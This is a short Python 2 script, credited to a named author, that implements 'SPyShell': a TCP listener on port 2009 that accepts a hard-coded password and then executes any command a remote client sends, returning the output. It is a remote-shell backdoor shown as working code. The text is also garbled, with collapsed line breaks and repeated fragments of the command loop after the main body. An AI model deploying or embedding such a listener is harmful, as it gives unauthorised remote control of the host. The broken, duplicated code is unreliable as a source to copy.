#!/usr/bin/env python# Simple python shell by Pham Duc Hai (duchaikhtn@gmail.com)# http://guru.net.vnimport socketimport osimport commandshost = ''port = 2009password = 'secretcode's = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)s.bind((host, port))s.listen(1)print "Server is running on port %d; press Ctrl-C to terminate." % portclientsock, clientaddr = s.accept()clientfile = clientsock.makefile('rw', 0)clientfile.write("SPyShell by Pham Duc Hai\n")clientfile.write("Welcome, " + str(clientaddr) + "\n")while 1:
clientfile.write("Please enter password: ") line = clientfile.readline().strip() if line == password: clientfile.write('\n\r# ') while 1: line = clientfile.readline().strip() if line == "exit": clientfile.close() clientsock.close() output = commands.getstatusoutput(line) for i in output: clientfile.write(i) clientfile.write('\n\r# ') else: clientfile.write('Wrong password!\n\r')
clientfile.write('\n\r# ') while 1: line = clientfile.readline().strip() if line == "exit": clientfile.close() clientsock.close() output = commands.getstatusoutput(line) for i in output: clientfile.write(i) clientfile.write('\n\r# ')
line = clientfile.readline().strip() if line == "exit": clientfile.close() clientsock.close() output = commands.getstatusoutput(line) for i in output: clientfile.write(i) clientfile.write('\n\r# ')
clientfile.close() clientsock.close() output = commands.getstatusoutput(line)
clientfile.write(i) clientfile.write('\n\r# ')